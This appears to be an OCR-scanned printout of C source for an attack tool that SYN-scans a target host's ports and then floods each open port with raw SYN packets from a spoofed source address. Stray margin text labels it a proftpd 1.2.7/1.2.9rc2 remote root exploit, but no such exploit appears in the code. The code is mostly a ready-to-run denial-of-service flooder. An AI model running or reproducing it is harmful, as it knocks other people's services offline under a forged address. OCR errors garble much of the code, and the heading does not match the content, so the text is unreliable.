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* %
* *
* %
RingZ_RgeEdit #include "linuxsyn.h"
proftpd
1.2.7/1.2.9rc2 int sendSyn ( int sendSocket, u_long sourcelp, u_short sourcePort, u_long
remote root exploit seqNum, struct sockaddr_in *dest )

{
unsigned char netPacket[IPTCPSIZE];

struct iphdr *ip;

struct tcphdr *tcp;

unsigned char *pPseudoHead; /* */

unsigned char pseudoHead[12 + sizeof(struct tcphdr)]; /* 12 *|
u_short tcpHeadLen; /* */

memset( netPacket, 0, IPTCPSIZE );

ip = (struct iphdr *)netPacket;
ip->ihl = 5;

ip->version = 4;

ip->tos = 0;

ip->tot_len = htons( IPTCPSIZE );
ip->id = htons( 2600 + ( rand() % 32768 ) ); /* ip->id */
ip->frag_off = 0;

ip->ttl = 255;

ip->protocol = IPPROTO_TCP;
ip->check = 0O;

ip->saddr = sourcelp;

ip->daddr = dest->sin_addr.s_addr;

/*
ip->check = in_cksum( (char *)&ip, sizeof( struct iphdr ) );




*

tcpHeadLen = htons( sizeof(struct tcphdr) ); /* */
tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr ) );
tcp->source = htons( sourcePort );

tcp->dest = htons( dest->sin_port );

tcp->seq = htonl( segNum );

tcp->ack_seq =0;

tcp->doff = 5;

tcp->syn = 1,

tcp->window = htons( 10052 );

tcp->check = 0;

tcp->urg_ptr = 0;

pPseudoHead = pseudoHead;

memset( pPseudoHead, 0, 12 + sizeof(struct tcphdr) );
memcpy( pPseudoHead, &(ip->saddr), 8 );
pPseudoHead +=9; /* */
memcpy( pPseudoHead, &(ip->protocol), 1);
pPseudoHead++;

memcpy( pPseudoHead, &tcpHeadlLen, 2 );
pPseudoHead += 2;

memcpy( pPseudoHead, tcp, sizeof( struct tcphdr ) );

tcp->check = in_cksum( (u_short *)pseudoHead, sizeof(struct tcphdr) + 12);

return( sendto( sendSocket, netPacket, IPTCPSIZE, 0,
(struct sockaddr *)dest, sizeof(struct sockaddr_in) ) );
} /* end of sendSyn */

int synScan ( int sendSocket, int readSocket, u_long sourcelp, u_short sourcePort,
u_short lowPort, u_short highPort, struct sockaddr_in *dest )

unsigned char netPacket[IPTCPSIZE];
struct iphdr *ip;

struct tcphdr *tcp;

int portLoop, portTotal = 0;

ip = (struct iphdr *)netPacket;

tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr ) );

for ( portLoop = lowPort, portTotal = 0 ; portLoop <= highPort && portTotal <
HIGHPORT ; portLoop++ )

{
dest->sin_port = portLoop; /* */
if ( sendSyn( sendSocket, sourcelp, sourcePort, 31337, dest) ==-1)

err_sys( "Error sending SYN packet" );

while (1)

{
memset( &netPacket, 0, IPTCPSIZE );

read( readSocket, &netPacket, IPTCPSIZE );
1* P %
if( ip->saddr != dest->sin_addr.s_addr)

continue;

}

* */
if( (ntohl(tcp->ack_seq) !'= 31338) && (ntohl(tcp->ack_seq) != 31337) )
{

continue;

}

/* RST/ACK - No service listening on port. */
if( tcp->rst && tcp->ack )

break;

}
I* SYN/ACK - Service listening on port. */



if( tcp->ack && tcp->syn )

ports[portTotal] = ntohs( tcp->source ); /* */
fprintf( stderr, "%d\n", ports[portTotal] );

fflush( stderr );

portTotal++;

break;

}

} I* end of while */

} /* end of for */
return( portTotal );

} /* end of synScan */

void synFlood ( int sendSocket, u_long fakelp, u_short fakePort, u_short synNum,
struct sockaddr_in *dest )

{

inti;

fprintf( stderr, "%d", dest->sin_port );
fflush( stderr );

for (i =0;i<synNum; i++)

{

usleep( 30);

if( (sendSyn(sendSocket, fakelp, fakePort, 31337, dest)) ==-1)
{

err_sys( "Error sending SYN packet" );
}

fakePort++;

fprintf( stderr, "." );

fflush( stderr );

} /* end of for */

fprintf( stderr, "\n");

return;

} I* end of synFlood */

u_long resolve ( char *host)

struct hostent *he;
u_long ip;

if( (he = gethostbyname(host)) == NULL )

ip = inet_addr( host ); /* */
}

else

{

bcopy( he->h_addr_list[0], &ip, sizeof(u_long) );
}

return(ip );
} /* end of resolve */

int main ( int argc, char* argv[] )

{

int ¢, sendSocket, readSocket, portTotal;

u_long fakelp, sourcelp, destlp;

u_short i, lowPort, highPort, synNum, fakePort = 2600, sourcePort = 2600;
struct sockaddr_in dest;

unsigned char hostName[256];

portTotal = synNum = lowPort = highPort = fakelp = sourcelp = destlp = 0;
opterr = 0; /* don't want getopt() writing to stderr */
while ( (c = getopt(argc, argv, "n:l:h:i:p:f:")) 1= EOF )

switch (c)

case 'n"

synNum = (u_int16_t)strtoul( optarg, NULL, 10);
break;

case 'l"

lowPort = (u_int16_t)strtoul( optarg, NULL, 10);



break;

case 'h':

highPort = (u_int16_t)strtoul( optarg, NULL, 10);
break;

case 'i". [* */

if( (destlp = resolve( optarg )) == -1)

fprintf( stderr, "Bad hostname or ip address: %s\n", optarg );
goto ERROPTION;

}

break;

case 'p" /[* */

lowPort = highPort = (u_int16_t)strtoul( optarg, NULL, 10 );
break;

case 'f': /* fakelp */
if( (fakelp = inet_addr( optarg )) ==-1)
{

fprintf( stderr, "Bad ip address: %s\n", optarg );

fprintf( stderr, "Defaulting to %s...\n", FAKEIP );
fakelp = inet_addr( FAKEIP );

}

break;

case '?"

ERROPTION:

err_quit( " Usage: %s [-n synNum] [-I lowPort] [-h highPort\n\t[-i targetHost] [-p
targetPort] [-f fakelp]", argv[0] );

break;

} /* end of switch */

} /* end of while */

I* Institute defaults if these options have not been specified. */
if (!destlp)
{

goto ERROPTION;

if (!'synNum )
synNum = SYNNUM;
i}f (MlowPort)

lowPort = LOWPORT;
%f ('highPort)

highPort = HIGHPORT;

}

if ( 'fakelp)

{

fakelp = inet_addr( FAKEIP ); /* u_long */
}

/* Fill in dest sockaddr_in structure. */

dest.sin_family = AF_INET;

dest.sin_addr.s_addr = destlp;

dest.sin_port = 0;

if ( gethostname(hostName, sizeof(hostName) - 1) ==-1)
err_sys( "Unable to get our hostname" );

if( (sourcelp = resolve(hostName)) == -1)

err_sys( "Unable to resolve our hostname" );

sendSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_RAW );
readSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_TCP );

fprintf( stderr, "Beginning on %s from %d to %d. \n",



inet_ntoa(dest.sin_addr), lowPort, highPort );

fprintf( stderr, "Scanning ... ... \n");

fflush( stderr );

portTotal = synScan( sendSocket, readSocket, sourcelp, sourcePort, lowPort,
highPort, &dest );

fprintf( stderr, "Scan completed. %d listening ports found.\n", portTotal );
usleep( 2000 ); /* Pause to let everything clear out. */

fprintf( stderr, "Flooding with %d SYNs each port...\n", synNum );
fflush( stderr );
if( portTotal )

for(i=0; i< portTotal; i++)

dest.sin_port = portsi];
synFlood( sendSocket, fakelp, fakePort, synNum, &dest );

}

fprintf( stderr, "Flood completed, exiting ... ... \n");
return (0);
} /* end of main */
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